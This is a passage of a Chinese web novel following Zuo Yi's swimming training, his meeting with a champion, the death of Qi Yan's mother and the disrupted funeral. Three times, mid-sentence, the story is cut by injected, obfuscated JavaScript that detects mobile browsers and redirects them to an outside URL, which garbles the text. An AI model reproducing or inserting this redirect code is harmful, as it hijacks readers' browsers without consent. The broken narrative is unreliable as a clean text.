见祁言默不作声,只是一味地盯了自己半天,左屹才缓缓开口:“其实我埋怨过你很长时间,你一声不吭就走了,打了我个措手不及,害我一点心理准备都没有。” 左屹低着头,不敢看祁言的眼神:“是刘奶奶安慰了我很久,当时所有人都不告诉我你为什么要走,刘奶奶让我一定找到你,她在等你回去。” 祁言双手撑着脑袋,缓缓从鼻腔里发出,“嗯”的一声。 “她…” “奶奶很好,我妈和文阿姨每天都去陪她。”左屹回答。 “那就好。” 左屹感觉到了祁言的低气压,小心翼翼的问:“我真的只是猜到了一些,具体的事我根本不清楚,你是不是也觉得我多管闲事了,毕竟他是你爸。” 18. 床边守护 “傻啊,我不怪你。”祁言伸手抚了抚左屹垂着的脑袋,“我宁可他不是我爸。” 左屹这才抬头对上祁言的眸子,认真地说道:“你不喜欢的事,我以后都不提不问了。不过他要是再烦你,你要告诉我,我皮实,不怕他。” 祁言用食指弹了弹他额头,“别乱操心,说说今天为什么被加训跑十圈?” 左屹扯了扯嘴角,心道真是哪壶不开提哪壶。 “还不是因为小爷我优秀,加训十圈而已,手拿把掐。” 祁言看着左屹慵懒地往后一靠,右手比着拿捏的姿势,落拓不羁的那样子简直一点也没变。 说话间,菜已经上齐了,满满一桌子的菜。 祁言边烤边往左屹碗里夹已经烤熟的肉说:“你点这么多肉,喂猪?” 左屹噗嗤笑出声。 “笑什么?” 左屹夺过祁言手里的烤夹说:“就是喂猪呀,谁让你这头猪太瘦,身上没几两肉都卖不出好价钱,只能养肥了再卖咯。” “行,今晚你去睡沙发。”祁言夹了一块和牛肉沾了点辣椒送进嘴里。 左屹把肉都夹进祁言餐盘里,故意翘着嘴巴说:“小猪仔不能恩将仇报哦~” “再说沙发都没得睡。” “哥~” “食不言。” “言哥~” “吃你的肉。”祁言笑着将一大筷子牛肉塞进左屹的嘴里。 进房间倒茶水的服务员都笑了。 回到家里,左屹瘫在沙发上打着饱嗝,他没想到祁言胃是真小,才吃了几口肉就说饱了,硬是不愿多吃一口,剩下的十几盘肉都进了自己的肚子,现在他闻到荤腥味就想吐。 祁言找到药箱拿了一盒消食片给左屹,“小猪仔是谁?” 左屹坐起身接过药片,不开心的说:“我,是我行了吧!” “嗯,今晚奖励小猪仔睡床。”祁言坐到左屹旁边,拿起茶几上的遥控器打开投影仪,突然想起了什么又问道:“晚上你打算让我陪你去哪?” “啊?”左屹有点懵,他回想了一下,猛地一拍脑门说:“哎呀,我本来是叫你陪我去迪卡侬买些训练器材回来的,把这事给忘了。” 祁言点了点头,“要买的训练器材列个单子给我,明天有空我去买回来。” 左屹皱眉盯着自己吃得圆润润的肚皮,惆怅不已。 怎么就吃了顿肉,八块腹肌变成一块了。 祁言没得到回应,偏过头看左屹盯着自己的肚皮出神,不由觉得好笑,他轻拍了一下左屹的肚子说道:“听见我说的了吗?” “听到啦,明天发给你。”左屹瘪着嘴问祁言,“言哥,你看我这肚子像不像熟透的西瓜?” “……” 很多时候,祁言跟不上左屹跳脱的脑回路。 “更像要下崽的小猪。”祁言一本正经地说。 左屹侧过头,眼神极其幽怨地盯着一脸严肃的祁言说:“什么啊,公猪怎么下崽?” 说完又觉得不对,刚想反驳自己不是要下崽的猪,却在投影仪的阴影里看到祁言上翘的嘴角。 行吧!下崽就下崽。 只要言哥高兴,让我一口气下二十个小猪崽都行。 玩归玩闹归闹,晚上祁言洗漱完之后,左屹食也消化得差不多了。 今天教练说的话狠狠点醒了他,他再不认真训练,就现在这个成绩进了校队也没有太大的竞争力,今天并不是他最优的水平,明明可以游得更快,不怪教练说话难听,只怪自己不够上进! 等祁言回房间看书之后,左屹脱了上衣开始加训。 做完四十分钟的耐力运动,他挂着一身汗珠回到房间拿睡衣准备去洗漱,祁言已经靠坐在床头睡着了。 左屹凑到床边去帮他拿开手里握着的书,祁言像是发现自己心爱的东西被夺走似的拧紧眉头,左屹伸出食指轻轻帮他揉了揉眉心抚平了那一点褶皱。 祁言嘴里一直嘟囔着什么,左屹离得远听不清,他想收回手凑近点听,却被祁言一把抓住食指,“妈,别走。” 左屹心里咯噔一下。 “别离开我。”祁言眼尾滑落一滴泪。 左屹跪在床边,拉进两人的距离,他学着小时候祁言哄他午睡时那样,轻轻拍着祁言的肩膀,轻声哄着:“不走,陈姨不离开你,我也不离开你,哥别怕、别怕。” 又是一滴泪从眼尾滑出,无声地落到白色枕头上,晕成一朵灰色的花。 祁言渐渐被哄得平稳下来,等他半夜醒来,便看见左屹跪趴在床边睡着了,而这么睡的原因是他的右手食指被自己紧紧抓着,他就这么裸着半身跪在床边睡了大半夜。 静谧的深夜,水蓝色的窗帘被温柔的夜风抚摸着,帘边忽上忽下的飘动频率逐渐和祁言的心跳融合,有节奏地一下又一下舞动。 他喜欢的男孩就在这里,在他身边陪着。 祁言再也压抑不住自己内心的欲望,小心翼翼地低下头,在左屹的右脸轻轻印下一枚滚烫的吻。 左屹睡得深沉,被祁言叫醒时整个人还是蒙圈状态,“我怎么睡着了?” “回床上睡。”祁言想拉他起来。 左屹“嘶”地一声,脸上表情扭成了麻花,刚起来一点又跌坐下去,“等会,腿跪麻了。” 祁言忙下床,“我帮你揉揉。” “没事儿,我自己来。”左屹脸红着拒绝,男生刚睡醒的时候最敏感,不太适合被暗恋对象触碰。 祁言却不听,冷着脸偏要帮他揉腿,“明天还想正常训练就听话。” 夜黑风高,两位裸着上身的帅哥,共处一室。 一个还帮另一个揉着腿,气氛太暧昧了。 左屹咬着下唇,脑子里把这辈子所有的挫折都想了一遍,还是没能控制住那股子悸动。 左小屹十分争气地站立起来了。 左屹尽力克制着自己不稳定的嗓音说道:“哥,不麻了,别揉了。” “好,那上床睡觉。”祁言拍了拍他的大腿。 他的左腿被拍得撞向右腿,刚好夹到罚站的左小屹。 左屹喉间闷哼一声,他抓起盖在胯间的衣服慌张地跑进浴室:“我还没洗澡,你先睡!” 祁言笑着摇摇头,“长大这么爱干净了。” 左屹趁天微亮就出门晨跑,他想着早点完成训练就可以早些去医院换祁言去打工。 跑完五公里他看时间还早便去买了早点回家。 左屹本以为祁言还在睡觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165020|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,谁知到家时,他已经换好衣服准备出门了。 “这么早去打工啊?”左屹将早餐放到餐桌上。 祁言从房间走出来说:“去医院看看。” “我买了早点,吃了再出门。”左屹推着祁言坐到餐桌前,将小米粥拿出来。 祁言一勺一勺喝着粥,左屹安静地在一旁陪着,时不时揪下一块油条放到粥碗里,看着祁言吃下去。 “我今天训练结束会比较早,下训去医院陪你。”左屹说。 祁言喝完最后一口粥,放下碗,“训练太累就回来休息。” “不累,习惯了。”左屹笑着说。 祁言揉了揉他的头发,将碗筷收拾干净,“认真训练。” 左屹跟祁言一起出了门,到学校的陆上训练馆,黄教练已经黑着一张脸在那等着了。 “教练早上好啊。”左屹调皮地挥手向教练问早。 他每次看见教练黑着脸心里就直发怵,进京体满打满算一个月左右,训练也不过才半个月,和黄教练还处在磨合期,他也不知道这种情况下该怎么和教练缓和关系。 黄教练看了眼手表,又盯着他问:“有氧做了?” 左屹端正地站着,点头如捣蒜,“报告教练,跑了五公里。” “嗯,先热身十五分钟。”黄教练掏出口哨,猛地吹了一声。 左屹被吓得一个激灵,立马脱了训练服外套。 “关节激活5分钟接三组60秒高抬腿加冲刺跑20米,预备,走。” 哨声一响,左屹条件反射动了起来。 一场训练下来两个小时过去,左屹累得眼皮都抬不起来了。 这个黄教练比江城带他的董教练凶多了,游泳运动员对哨声通常是绝对敏感,听到哨声便不自觉会进入备战状态。 董教练除了集体训练不好管控,其他时候只有在水下训练时会用到哨子,陆上训练通常都是喊口令。 可黄教练不一样,他不管是集训还是单训,也不顾是陆上和水下都会用到哨子发令,整个训练过程左屹都保持着高度戒备的状态,很是耗费精力。 刚休息一会,黄教练又吹响哨声。 左屹立马从地垫上爬了起来,哭丧着脸求饶道:“教练,今天不是已经下训了,还来啊?” “我没说要继续啊。”黄教练瞥了眼左屹,“看你这个样子,出息!” “教练,下训就别吹哨子了,弄得人怪紧张的。”左屹抱怨道。 黄教练轻踢了脚左屹的屁股说道:“赶紧把器材还到原位,然后跟我走。” 左屹叠着地垫,不感兴趣地问:“去哪啊。” “今天国家队来训练,带你去观摩观摩,让你知道自己和专业队的差距在哪。”黄教练一丝不苟的说。 “我操,国家游泳队?我可以看他们训练?”左屹立马来了精神,搬器材都来劲儿了。 黄教练这才露出浅浅的笑容,又吹了声口哨:“动作迅猛!就你这个收拾速度,他们早训完了,等你去看西北风?” “Yes sir!my wonderful coach!”左屹比了个帅气的敬礼手势,然后冲过去狠狠抱了抱黄教练。 “去你丫的,臭小子。”黄教练笑骂道。 19. 冠军师兄 左屹跟着黄教练来到学校游泳训练馆,走进馆内一股浓厚的压迫感扑面而来。 馆内站了两排穿着红色衣服的运动员正在热身,运动员一旁分别站着三名表情严肃的教练。 左屹看到其中一位兴奋地抓紧黄教练的胳膊,“教练教练,那位是不是国家队总教练张教!!” 黄教练狠狠白了他一眼,“你小子就不能稳重点?别给我丢人!” “是,保证不给您丢人!”左屹连忙收回笑脸,故作严肃起来。 “今天我带你过来,主要是让你看看梁一的划手,一会到他下水你眼睛给我瞪大咯!” “梁一?是包揽上届奥运100自、200自、400自的冠军梁一?”左屹惊讶地问。 黄教练带着左屹一路走到游泳队旁边,“你以为国家队能有几个梁一?” “我靠!”左屹不动声色地四周环顾起来。 人呢?没看着啊! 左屹看过不少梁一的比赛视频,很熟悉他的划手姿势,梁一的泳姿被称为教科书式标准动作一点也不为过。 他们两人年级相仿,在游泳的成就上却是天壤之别。 如果说左屹是迈入了泳坛半只脚,那么梁一已经是走上金字塔顶端了。 上一届奥运会他的长池100m自由泳成绩45秒55成功打破了世界纪录,妥妥为国争了光! 梁一算是左屹专业上的偶像,今天毫无预兆地要和偶像见面,他一点心理准备都没有,更何况还有机会亲眼学习到世界冠军的泳姿。 左屹早按捺不住心中的激动,他紧紧揪着黄教练的衣服,满手心的汗,“黄教练,梁一他人在哪呀?” 张教练刚和运动员交代完今日的训练计划,转身朝更衣室喊了声:“小梁,准备好了吗?” “来了。”身高195cm的梁一披着浴巾揉着肩颈慢悠悠走了出来,礼貌地和队员们一一点头打了招呼。 目光略过不远处的左屹时,似乎停驻了三秒。 左屹被他看得呼吸一滞,刚想抬手和偶像say个哈喽,梁一已经转头和张教练说话去了。 “张教,那是谁?” 张教练顺着梁一的目光侧头望过去,正是黄教练所在的方位。 “那不是老黄吗,你师傅。”张教练朝他们招了招手,“不过去打个招呼?” 梁一挑眉,“我问的是老黄后面那个人。” “那是他新带的学生,听说是个很有潜力的小子,老黄特意带他来观摩你训练的,论起来算是你师弟。”张教练扬了扬头笑着说。 左屹站在黄教练身边,眼睛一直看着自己的偶像,手不自觉抚上自己引以为傲的腹肌,表情微微失落。 比不过、比不过。 偶像不愧是偶像,身材也太好了!!! 以后得撸撸铁,把腹肌再练明显些。 左屹看见梁一一脸严肃地往他们这边走来。 他怼了怼教练的肩膀悄悄问道:“教练,梁一过来了!” 黄教练垮着一张脸一言不发,他双手叉着腰,眼神狠狠盯着梁一看。 直到梁一走到黄教练面前,两个人就互相瞪着,不说话,也不打招呼。 左屹只觉得周遭的温度快降到冰点了。 “跟你说过多少遍了日常训练要听张教练的话,不要像个愣头青似的不要命地练,是不是肩上的旧伤又复发了?”黄教练突然严厉呵斥道。 左屹挺直了脊背,看不清状况。 梁一笑着锤了黄教练胸口一下,“张教练是不是天天跟您告状?”又挑眉看向他身边的左屹问道:“又收徒弟啦?” “你要是听话,谁告得了你的状,”黄教练白了他一眼,又介绍说:“这你师弟,左屹。” “臭小子,还不跟你冠军师哥打招呼。” 左屹此时思绪还飘在云里和雾里,自己怎么就成了世界冠军的师弟了? 我的妈呀…… 梁一嗤笑一声,小声对着黄教练说:“人长得挺帅的,脑子有点迟钝啊。” 黄教练踢了左屹屁股一下,“睡着了?” 左屹回过神来,立马九十鞠躬问好:“师兄好,我是黄教练新收的学生,左屹。” 梁一比他高了半个头,居高临下地看着他这副样子没忍住笑出了声,“行了,我训练去了。”他又搂了搂黄教练的肩膀,说:“等我下训,一起吃饭啊老黄。” 训练开始,梁一登上跳台做好跳发姿势。 “梁一,下去300任意,每100的出发,各就位。” 辅教喊着口令,哨声一吹响,梁一以利落强劲的姿势弹射入水,左屹顾不上别的,跟着辅教一路小跑,认真地学习着水中那条飞鱼的标准泳姿。 第一个百米,梁一用的自由式,这是他破纪录的姿势和距离。 左屹亲眼见证着世界纪录保持者的泳速,他浑身细胞都沸腾起来,恨不得自己也跳下泳池和世界冠军齐头并进。 直到梁一冒头,辅教按停计时器,左屹迫不及待询问:“教练,梁一他用时多久?” “45秒58。” 左屹回想自己上次100m自由泳的成绩49秒22,看上去很不错的短距离成绩,但和梁一将近4秒的差距,他还需要花很多年才有机会达到,又或是一辈子都达不到。 想到这里左屹不禁心情低落,没有对比就没有伤害,自己那些牛逼哄哄的成绩在真正厉害的人面前全都是泡沫,一文不值。 看完整场国家队的训练已经是大中午了,左屹的肚子早饿得咕咕叫,但是他没什么吃饭胃口,脑子还沉浸在梁一的泳姿和速度上面。 左屹心事重重地往校外走,手机震动了半天才发现。 他接起电话:“喂,言哥。” 左屹无精打采的声音穿过手机,被祁言捕捉,“又被罚圈了?” “没有啦,今天见到我偶像了。” “嗯?偶像?”祁言问道。 “是啊,世界冠军梁一你知道吗?我见到他了,我亲眼看他游了100m自由,不得不说真的太厉害了,羡慕死我了。” 左屹滔滔不绝,毫不吝啬地夸赞着梁一。 祁言猜左屹因为遇到了泳坛真正厉害的运动员,不自觉拿自己做了对比所以才情绪低落,于是温柔地安抚道:“小屹,在我心里你才是最厉害的。” “不,言哥,我只是个渣渣。” 左屹知道在祁言和丁文笑心里,他游泳已经很厉害了,但想真正站在国际最高领奖台上,他的成绩连铜牌都够不上。 “小师弟,怎么不打招呼就走了?”梁一的声音突然出现在左屹的身后,他修长的右臂自然熟地搭到左屹的肩上,吓了他一跳。 左屹瞪大眼睛回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165021|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头看着梁一。 “谁在你旁边?”祁言问道。 左屹这才反应过来,他和祁言还在通电话,停下步子跟梁一指了指手机,然后一手捂着嘴巴偏过头对着手机悄咪咪地说:“是我刚刚跟你说的世界冠军,梁一。” 左屹以为自己的声音只够他和祁言两个人听见,却不料全钻进了梁一的耳朵里。 梁一揉了揉左屹的头发,宠溺地逗他说:“小师弟,没想到你还挺可爱啊。” 祁言的声音明显冷了两度,“嗯,你有事就去忙。” 左屹想着祁言通常都是有什么急事才会和他电话联系,于是赶紧追问:“你找我是有什么事吗?” 祁言的声音停顿了一会才说:“器材单没给我。” “啊!对哦,不过我下训了,一会自己去迪卡侬买吧。”左屹想着祁言在医院陪陈姨,下午自己去买也方便。 “嗯,挂了。” “言哥……” 不等左屹反应,手机那头已经传来挂断音。 左屹觉得祁言心情好像不大好的样子,又没来得及问,他轻叹一口气,想着赶紧买完东西去医院陪他的时候问问。 梁一一直在一旁等着左屹讲完电话,左屹面对偶像不免紧张,他将手机丢进裤子口袋里,尴尬地笑了笑,“梁一师兄,你不是和黄教练约了午饭,怎么出来了?” “因为老黄把我鸽了,他和张教应酬去了。”梁一瘪了瘪嘴,问道:“你下午要去哪?” 左屹觉得好笑,黄教练连世界冠军都敢鸽,桃花眼不自觉弯成一弧月牙形状,很勾人。 “我要去迪卡侬买点训练器材。”左屹笑完回答。 梁一一副大彻大悟的表情,他点了点头,右臂又环上左屹的肩膀说:“走,一起去,我也有东西要买。” 左屹没想到梁一的性格如此爽朗,人家一点架子都没有,自己当然没理由拒绝,于是同意:“行。” 梁一出了校门之后就戴上了黑色口罩,他的举动引起左屹的好奇。 左屹用手指在自己嘴巴周围划了个圈,问道:“梁一师兄,你感冒了?” “没有,只是怕被认出来,很麻烦。”梁一认真地解释。 左屹偷偷打量了两眼梁一身上穿着的红白相间的国家队队服,又用眼睛丈量了他的身高,心道他出门在外应该很难不被人认出来。 左屹打了辆网约车直接坐到了迪卡侬。 两人购买器材的过程中,左屹抓住机会向梁一讨教了不少游泳姿势的技巧和提升要点。 梁一也毫不吝啬地将自己的经验和心得教给左屹。 左屹听得不够尽兴,恨不得找来纸笔一笔一划全都记录下来。 “难怪我跳发的时候总觉得腿部的推力不够足,明天训练我听你的将踏板调到第四档试试。” 左屹低头在手机备忘录里敲敲打打记录重点,差点忘了自己是来买东西的。 两人路过冰淇淋店,左屹驻足,他白问了这么多问题,不回报一下好像显得太不懂事便转身问梁一,“师兄,吃冰淇淋吗?我请你。” “好啊。” 他还是第一次和梁一这种身份的运动员打交道,没想到人家一点也不嫌自己问东问西,反而主动找他加了微信,说以后有问题随时可以问他。 左屹恨不得马上飞奔去医院告诉祁言他有多高兴。 20. 一个秘密 下午和梁一师兄分别,左屹将购买的便携器材放回到公寓,又马不停蹄赶到医院接祁言,到医院时已经接近黄昏。 回公寓的路上,他给祁言发了消息,说自己回家了并没有告诉他还要到医院来。 左屹走出住院部电梯,正巧碰见丁文笑和祁言推开楼道安全门出去。 还来不及叫他们,人影已经消失在门后,左屹追上去。 安全门有些故障不能严丝合缝闭紧,漏了个大缝,左屹躲在门后想等两人进来时吓吓他们。 两道打火机点火的声音响起,叫醒了楼道的声控灯。 左屹偷瞄了一眼,丁文笑背对着门站着,右手夹着细长的女士香烟,祁言靠着墙吐出一口烟圈,面容颓丧。 左屹顿时没了捉弄的心思,想推门过去和他们聊聊天…… “陈姨刚刚提出要见祁叔的事,你打算怎么做?” 丁文笑的声音阻止了他的动作。 “没什么好见的。” “可这是陈姨最后的心愿了。” 门外久久没有传来祁言的回答,左屹不禁心里一揪。 “言哥,出那件事的时候我也在。” 楼道的灯暗了下来,只剩两个烟头在黑暗里散发猩红明亮的光。 左屹手心发汗,攥紧了衣角,他知道丁文笑接下来的话会揭开他一直追寻的答案,他不动声色地调整呼吸等待接下来的话。 “陈姨没有推那个孕妇,如果祁叔叔不相信,我可以为她作证……” “不需要。” “祁言哥!你放过自己好不好!分明就是那个小三故意在你高考的前一晚闹上门,她自己滚下楼梯失去了孩子,凭什么让你和陈姨一辈子活在谴责里?陈姨已经这样了,让她和祁叔叔见一面说清楚吧。” “说清楚是谁的错根本没有意义,生命是无辜的,我们眼睁睁看着那个孩子最后化成了一滩血水,明明再过两个月他就可以看到这个世界了……”祁言平静地问:“解释清楚那孩子就能平安出生了吗?我妈就能活下去吗?” “至少,你以后的日子能好过点吧。”丁文笑吸着鼻子,嗓音止不住地哽咽着。 左屹胸口窒闷如压巨石,原来祁言和陈姨是因为这样的无妄之灾离开的小院,他不敢深想发生这种事情之后祁言是怎么踏进考场完成高考,又如何一步步撑到现在。 难怪刘奶奶一直说是大人的错。 也难怪不管他怎么问,小院的人对这件事都闭口不提。 原来大家都在努力忘记这个悲伤的意外,他们用沉默的方式保护了祁言和陈姨。 听见他们灭烟的动静,左屹转身跑回电梯间疯狂按亮电梯,好在电梯就停在他们这层才及时离开,没被人发现他来过。 左屹失魂地走在街上。 正值日暮时分,天边的云被落日烧得火红,路人纷纷驻足拿起手机拍下这幕景观,只有左屹将它想象成了一条无辜的生命慢慢化成一滩血水,那画面实在诡谲、恐怖、绝望。 光是想象都被压迫得难以喘气,那亲历者的回忆更变成了一块千斤顶,一辈子压住了生性善良的人的心。 从日暮走到天黑,左屹有一件事始终想不明白,那个女人为什么突然挺着孕肚冒着如此大的风险闹上门,如果是为了名分,可以等到孩子平安出生再闹,但偏偏选择了祁言高考前夕去撕破脸,分明是不想祁言高考太顺利,一点也不在意肚中孩子的安全…… 左屹回到公寓时祁言还没回来,他收拾完今天买的器材一看时间已经九点多了,回想祁言今天的心情不好,他也不好催促。 直到晚上十一点多了,左屹已经打算睡觉了,祁言依旧不见人影,他才忍不住发消息过去。 [Zorro:言哥,你什么时候回家呀?] [1:今晚不回了,不用等我。] [Zorro:不回来?] [1:早点睡。] [Zorro:那你晚上在哪过夜啊?] [Zorro:医院吗??] [Zorro:人呢??] 左屹连发的三条消息全部石沉大海,瞬间浑身不得劲。 下午那通电话开始他就觉得祁言怪怪的,又在医院听到祁言和丁文笑的对话,即使楼道里再暗,他也能够看出祁言的状态很不好。 他懊恼地扒拉着头发,最近两天忙着训练的事,一开始说好他们三人每天轮流去医院陪护的,结果这两天都是祁言亲自在医院,也没有去餐厅打工。 左屹越想越不对劲,一股冷意从脚底窜至全身,顿时困意全无。他随手抓了件外套便跑出了门,得找到祁言才能安心。 他边等电梯边叫车,好在半夜的路况好,一路到达医院只花了二十分钟。 住院部的病房十点以后会统一关灯,左屹站在护士站看着唯一那间开着灯的单人病房,心脏顶到了嗓子眼。 他的脚步像是被灌了铅,突然一步都走不动了。 丁文笑突然从病房里哭着走出来,正好看见穿着一双家居拖鞋的左屹,目光呆滞地望着病房门口,她再也控制不住情绪,猛地冲向左屹,紧紧将他环抱住。 左屹心里似乎明白了什么,强颜欢笑地问:“笑姐,你怎么还没回学校啊,现在很晚了。” 丁文笑顿住,她哑着嗓子艰难地说:“陈姨…快不行了。” 陈姨快不行了…… 这六个最普通的字凑在一起的威力如五雷轰顶,猛然一口气劈向左屹,劈得他的心脏四分五裂,无法呼吸。 昨夜祁言流着泪梦呓的画面出现在眼前,那样的他是多么无助。 陈姨若真的走了,祁言以后要怎样活下去? 他从小最渴望的家,是不是真的要散了…… 左屹拖着沉重的步子,一点一点走向病房。这瞬间除了伤心难过,左屹也是害怕的,他突然不敢面对祁言,他怕看见一个浑身千疮百孔却故作坚强的祁言。 他会奋不顾身冲去神明身前,为他抵挡一切即将到来的暴风雪。 那样,他的秘密是不是会随之暴露无遗,再也瞒不住了。 终于走到病房门口,病房很安静,医生和两名护士都站在蓝色的病床帘后面。左屹一眼便看见祁言通红的眼眶,脸上表情倔强地没有露出一丝悲伤,可双手紧紧攥着陈姨的右手,攥得自己的手指发了白。 祁言听到动静也抬头看向左屹,两人对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165022|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视着,此时的无声胜过了千言万语。 左屹走到陈姨的病床前,她勉强半眯着眼睛,看到左屹还牵出一抹笑容,嘴巴想说什么却发不出声。 他知道陈姨想跟他说什么,他还欠陈姨一个秘密。 左屹单膝跪在病床前,凑到陈姨的耳边,悄悄和她说:“陈姨,说好了这个秘密是要等你康复了才告诉您的,您现在这样是耍赖啊。” 陈馨动了动手指,祁言放开她的右手,将手轻轻搭在左屹的手臂上。 “那我现在告诉您,您给我保密好不好。”左屹感觉到陈姨的指尖在他的手臂上轻点了一下,算是她答应了。 他又凑到陈馨的耳边,偷偷说:“其实,我很喜欢祁言,是想过一辈子的那种喜欢,所以请您放心以后我会代替您好好照顾他的,不论是以哪种身份,哪种方式,我都会永远陪在他身边,不离不弃,我在他就会有家。”左屹停顿了一下,问:“陈姨,您允许我喜欢祁言吗?” 刚说完,又感觉到陈姨的指尖点了一下他的手臂。 陈姨允许了。 眼泪再也不受控地夺眶而出,左屹拉住陈姨的手紧紧握住。 但很快,他将陈姨的手又交还回祁言的手中,自己退到身后和丁文笑站在一起。 祁言刚接过母亲的手,想腾出另一只手为她抹掉眼角的泪,就感觉到手中瘦如枯柴的手失了力差点从他手心滑走。 接着,心电监护仪发出了刺耳的长鸣。 “陈姨!”丁文笑绝望地喊了声,左屹咬着嘴唇不让自己哭出声。 “陈馨女士病逝于2023年10月4日凌晨12点16分,请各位家属节哀。” 医生宣布完时间,想从祁言的手中接过陈馨的手,却被祁言死死握着。 “她的手还是热的。” 左屹走过去,低声求医生再给他一点时间,医生不是第一次经历病患离世,很理解家属的心情,点了点头带着护士先离开了。 他又带着丁文笑走出病房,给祁言和母亲单独告别的时间。 直到送陈馨上殡仪车,祁言始终一言不发,也没人看到他流过泪。 但左屹知道他是因为心里太痛,所以忘记该怎么哭了。 晚上丁文笑和左屹都陪着祁言回家整理陈馨的遗物,回到公寓左屹牵着祁言的手腕坐到沙发上,家里只开了客厅的落地台灯,左屹蹲在沙发的一边,轻声说:“不是说好了别自己扛吗。” 祁言没有什么反应,只是眼神呆滞地盯着一个方向看,仿佛将自己与世隔绝了起来。 “我在呢、有我在呢。”左屹拉上祁言的手,初秋的夜晚风微凉,可祁言的手似乎被百年冰川冻过似的冰得刺骨。 祁言始终一句话都不说,左屹陪他在客厅呆了一整夜。 第二天清晨丁文笑拿着晚上清理出来的陈姨的一张照片和销户要用的证件来到客厅,看着一夜之间祁言的下巴已经露出一片青灰色,欲言又止。 左屹勉强站起身,在地板上盘腿坐了一整晚,腿早就没什么知觉了。 丁文笑的眼睛肿得不行,一看就是哭了整晚的样子,左屹接过她手里的证件和照片说:“我去办销户,你在家陪言哥。” 21. 大闹葬礼 出门前,丁文笑追到门口无措地问左屹:“要通知我们爸妈过来吗?” 左屹回身看了一眼沙发上坐着的祁言,摇摇头说:“算了吧,陈姨喜欢安静。” 电梯里,他拿起陈姨的证件照看了眼,照片里的陈姨已经消瘦得变了样,一看便是生病以后特意为了这一天的到来拍的。 左屹重重叹了一口气。 去派出所成功销户后,左屹才想起要联系一体龙安排接下来的殡仪事宜,他们毕竟还年轻,没有亲自操办过亲人离世的事情。 等一切都安排好,左屹准备买些吃的带回公寓,突然收到梁一师兄的消息。 [梁一:小师弟啊,你今天怎么没来训练呢?] [梁一:偷偷告诉你,老黄脸都被你气绿了。] 左屹一拍脑门,他忘记跟黄教练请假了!! [Zorro:对不起师兄,我家里出了点事,忘了请假,我现在就跟黄教练打电话说明情况。] 左屹怀着忐忑的心拨通黄教练电话,不出意外地被教练怒骂一顿。 “黄教练,真的对不起,我家里出了点事,后面几天可能都无法参加训练,等家里的事处理完,我再来跟您当面道歉。” “我管不好你,你好自为之!” 黄教练生气地将电话挂断。 左屹也没什么办法,他训练和祁言的事相比,孰轻孰重在他心里一直有杆秤,无法动摇。 三天后。 陈馨的葬礼上他们没有邀请其他人来参加,所以礼堂里很安静。 偌大的礼堂,中间放着一台水晶棺,陈馨面带微笑地躺在那里,司仪念的词本该令人潸然泪下,但他们谁也没有哭,只想将陈姨最后的模样牢牢记在心里。 突然礼堂外想起一阵喧闹,好像有人在门外吵着要进来。 左屹蹙着眉,去门口看情况,谁知来人是好几年没见过的祁峰和一个年轻女人。 那年轻女人看上去也就三十岁左右的样子,穿着一身黑色风衣,脚上踩着的红色高跟鞋煞是扎眼,她仰着脑袋打量左屹,看上去一副不情不愿的模样。 “谁通知你来的?”左屹不客气地问祁峰。 祁峰却是看也不看他,越过他直径走到水晶棺前,二话不说就开始哭喊。 “馨儿,你怎么年纪轻轻就走了啊!” 祁峰的举动打断了殡仪仪式,司仪举着话筒不知道是继续还是暂停。 “馨儿,你好狠的心啊,短短一年的时间我失去了亲骨肉,现在连你也撒手走了,以后的日子让我和小言怎么活啊??” 祁言脸顿时煞白,他已经三天没有说过话了,吃进肚子里的食物微乎其微,今天能站在这里全凭对母亲的不舍强撑着。 “老祁,你别难过,以后我们一家人好好过日子,陈姐在天有灵会保佑我们的。”那个年轻女人也跟到水晶棺前,扶着哭倒在地的祁峰。 丁文笑挽着脚下虚浮的祁言,两人站在一边冷眼看着这两个人一唱一和。 “放屁!谁他妈跟你一家人了?”左屹捏着拳头,对那个女人怒斥:“这里有你说话的份?你他妈算哪根葱啊!” 女人娇嗔地拉起祁峰抱怨,“就说我不要来,你看这小孩对我什么态度,真是的。”说完还翻了一个大大的白眼。 祁峰的脸跟变戏法似的,立即停止了哭喊,“小屹,这个场合我不跟你个小孩计较,你嘴巴放干净点儿,阿姨好歹是你长辈。” 左屹知道这世界奇怪的事情时常发生,但像这对狗男女这样既不要脸又理直气壮的还是不多见,男的带着小三到原配的葬礼上闹,真他妈不可理喻! “长辈?呵。”左屹冷嗤。 